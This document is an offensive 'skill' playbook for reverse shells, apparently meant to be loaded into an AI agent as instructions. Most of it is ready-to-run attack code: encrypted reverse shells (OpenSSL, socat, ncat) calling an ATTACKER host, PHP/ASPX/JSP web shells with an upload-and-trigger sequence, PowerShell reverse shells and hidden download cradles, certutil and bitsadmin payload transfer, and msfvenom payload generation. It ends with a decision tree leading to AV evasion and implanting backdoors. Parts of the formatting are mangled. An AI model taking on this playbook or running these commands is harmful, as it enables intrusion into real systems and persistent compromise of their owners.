- SKILL: Reverse Shell Techniques — Expert Attack Playbook
- AI LOAD INSTRUCTION
- Expert reverse shell techniques. Covers reverse/bind shell decisions, encrypted shells (OpenSSL, socat SSL, ncat), web shell patterns (PHP/ASPX/JSP), PTY upgrade sequences, file transfer methods, PowerShell download cradles, and msfvenom payload generation. Base models miss encrypted shell syntax, proper PTY stabilization, and platform-specific transfer techniques. 0. RELATED ROUTING Before going deep, consider loading: tunneling-and-pivoting after shell access for network pivoting linux-privilege-escalation or windows-privilege-escalation after landing shell windows-av-evasion when AV blocks shell payloads Quick Reference Also load SHELL_CHEATSHEET.md when you need: Complete one-liner reverse shells for 20+ languages Copy-paste ready payloads with placeholder substitution 1. REVERSE vs BIND SHELL DECISION Factor Reverse Shell Bind Shell Firewall (egress) Works if outbound allowed Blocked by egress filtering Firewall (ingress) Not blocked Requires inbound access to victim NAT Works (victim connects out) Fails (can't reach victim behind NAT) Detection Outbound connection — less suspicious Listening port — easily detected Default choice Almost always preferred Only when no egress + have inbound 2. ENCRYPTED SHELLS OpenSSL Reverse Shell
Attacker: generate cert + listen
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj '/CN=localhost' openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
Victim:
mkfifo /tmp/s ; /bin/sh -i < /tmp/s 2
&1 | openssl s_client -quiet -connect ATTACKER:4444
/tmp/s ; rm /tmp/s Socat Encrypted Shell
Attacker: generate cert + listen
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 30 -out shell.crt cat shell.key shell.crt
shell.pem socat OPENSSL-LISTEN:4444,cert = shell.pem,verify = 0 ,fork STDOUT
Victim:
socat OPENSSL:ATTACKER:4444,verify
0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane Ncat SSL
Attacker:
ncat --ssl -lvnp 4444
Victim:
ncat --ssl ATTACKER 4444 -e /bin/bash 3. WEB SHELLS PHP
= `$_GET[0]` ?>ASPX <%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %> <% Process.Start(new ProcessStartInfo("cmd.exe","/c "+Request["cmd"]){UseShellExecute=false,RedirectStandardOutput=true}).StandardOutput.ReadToEnd(); %> JSP <%@ page import="java.io.*" %> <% Process p=Runtime.getRuntime().exec(request.getParameter("cmd")); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); String l;while((l=br.readLine())!=null){out.println(l);} %> Upload + Trigger Patterns 1. Find upload endpoint → upload shell with allowed extension bypass 2. Locate uploaded file (predictable path, directory listing, response leak) 3. Trigger: GET /uploads/shell.php?cmd=id 4. Upgrade to reverse shell: ?cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1' 4. PTY UPGRADE SEQUENCE Standard Python Upgrade
Step 1: Spawn PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
Step 2: Background shell
Press Ctrl+Z
Step 3: Configure terminal (on attacker)
stty raw -echo ; fg
Step 4: Set environment (back in shell)
export TERM = xterm-256color stty rows 40 cols 160 Alternative Upgrades
script command
script /dev/null -c bash
socat full PTY (requires socat on victim)
Attacker:
socat file:
tty
,raw,echo
=
0
tcp-listen:4444
Victim:
socat exec: 'bash -li' ,pty,stderr,setsid,sigint,sane tcp:ATTACKER:4444
rlwrap for readline support (attacker side)
rlwrap nc -lvnp 4444
expect
/usr/bin/expect -c 'spawn bash; interact' 5. FILE TRANSFER METHODS Linux
wget / curl
wget http://ATTACKER:8000/file -O /tmp/file curl http://ATTACKER:8000/file -o /tmp/file
Python HTTP server (attacker side)
python3 -m http.server 8000
nc file transfer
Receiver:
nc -lvnp 9999
file
Sender:
nc RECEIVER 9999 < file
base64 encode/decode (no tools needed)
Encode on source:
base64 -w0 file
Paste on target:
echo "BASE64_STRING" | base64 -d
file
scp through pivot
scp -o ProxyJump = pivot user@target:/path/file ./local Windows
PowerShell DownloadFile
( New-Object Net . WebClient ) . DownloadFile ( 'http://ATTACKER/file' , 'C:\temp\file' )
PowerShell Invoke-WebRequest (PS 3.0+)
Invoke-WebRequest
Uri http: / / ATTACKER/file - OutFile C:\temp\file iwr http: / / ATTACKER/file - o C:\temp\file
certutil
certutil
urlcache
f http: / / ATTACKER/file C:\temp\file
bitsadmin
bitsadmin / transfer job / download / priority high http: / / ATTACKER/file C:\temp\file
SMB share (attacker hosts)
Attacker: impacket-smbserver share /tmp/share -smb2support
copy \ATTACKER\share\file C:\temp\file 6. POWERSHELL REVERSE SHELLS
One-liner TCP reverse shell
$c
New-Object Net . Sockets . TCPClient ( 'ATTACKER' , 4444 ) ; $s = $c . GetStream ( ) ; [byte[]] $b =0 . . 65535 | % { 0 } ; while ( ( $i = $s . Read ( $b , 0 , $b . Length ) ) -ne 0 ) { $d = ( New-Object Text . ASCIIEncoding ) . GetString ( $b , 0 , $i ) ; $r = ( iex $d 2>&1 | Out-String ) ; $r2 = $r + 'PS ' + ( pwd ) . Path+ '> ' ; $sb = ( [Text.Encoding] ::ASCII ) . GetBytes ( $r2 ) ; $s . Write ( $sb , 0 , $sb . Length ) ; $s . Flush ( ) } ; $c . Close ( )
Download cradle + execute
powershell
nop
w hidden
ep bypass
c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"
Base64 encoded execution
$cmd
'...reverse shell code...' $bytes = [Text.Encoding] ::Unicode . GetBytes ( $cmd ) $encoded = [Convert] ::ToBase64String ( $bytes ) powershell - ep bypass - enc $encoded 7. MSFVENOM PAYLOADS
Linux reverse shell (ELF)
msfvenom -p linux/x64/shell_reverse_tcp LHOST = ATTACKER LPORT = 4444 -f elf -o shell
Windows reverse shell (EXE)
msfvenom -p windows/x64/shell_reverse_tcp LHOST = ATTACKER LPORT = 4444 -f exe -o shell.exe
Meterpreter (staged)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST = ATTACKER LPORT = 4444 -f exe -o meter.exe
Web payloads
msfvenom -p php/reverse_php LHOST = ATTACKER LPORT = 4444 -f raw
shell.php msfvenom -p java/jsp_shell_reverse_tcp LHOST = ATTACKER LPORT = 4444 -f raw
shell.jsp msfvenom -p windows/x64/shell_reverse_tcp LHOST = ATTACKER LPORT = 4444 -f aspx -o shell.aspx
DLL / HTA / VBS
msfvenom -p windows/x64/shell_reverse_tcp LHOST = ATTACKER LPORT = 4444 -f dll -o evil.dll msfvenom -p windows/shell_reverse_tcp LHOST = ATTACKER LPORT = 4444 -f hta-psh -o evil.hta msfvenom -p windows/shell_reverse_tcp LHOST = ATTACKER LPORT = 4444 -f vbs -o evil.vbs 8. DECISION TREE Need remote shell on target │ ├── Can execute commands already (RCE)? │ ├── Linux target? │ │ ├── bash/python/perl available? → one-liner reverse shell (CHEATSHEET.md) │ │ ├── Need encryption? → OpenSSL or socat SSL shell (§2) │ │ └── Outbound blocked? → bind shell or tunnel (see tunneling-and-pivoting) │ │ │ ├── Windows target? │ │ ├── PowerShell available? → PS reverse shell (§6) │ │ ├── Need binary? → msfvenom payload (§7) │ │ └── AV blocking? → load windows-av-evasion skill │ │ │ └── Web server (upload possible)? │ ├── PHP? → PHP web shell (§3) → upgrade to reverse shell │ ├── ASP.NET? → ASPX shell (§3) │ └── Java/Tomcat? → JSP shell (§3) │ ├── Got a dumb shell? │ ├── Python available? → PTY upgrade (§4) │ ├── script available? → script /dev/null -c bash (§4) │ ├── socat on target? → socat full PTY (§4) │ └── None? → rlwrap on attacker side for readline │ ├── Need to transfer tools? │ ├── Linux: wget/curl/nc/base64 (§5) │ ├── Windows: certutil/PowerShell/bitsadmin/SMB (§5) │ └── No outbound? → base64 copy-paste (§5) │ └── Shell established — next steps? ├── Privilege escalation → load linux/windows-privilege-escalation ├── Pivot to internal network → load tunneling-and-pivoting └── Persistence → implant backdoor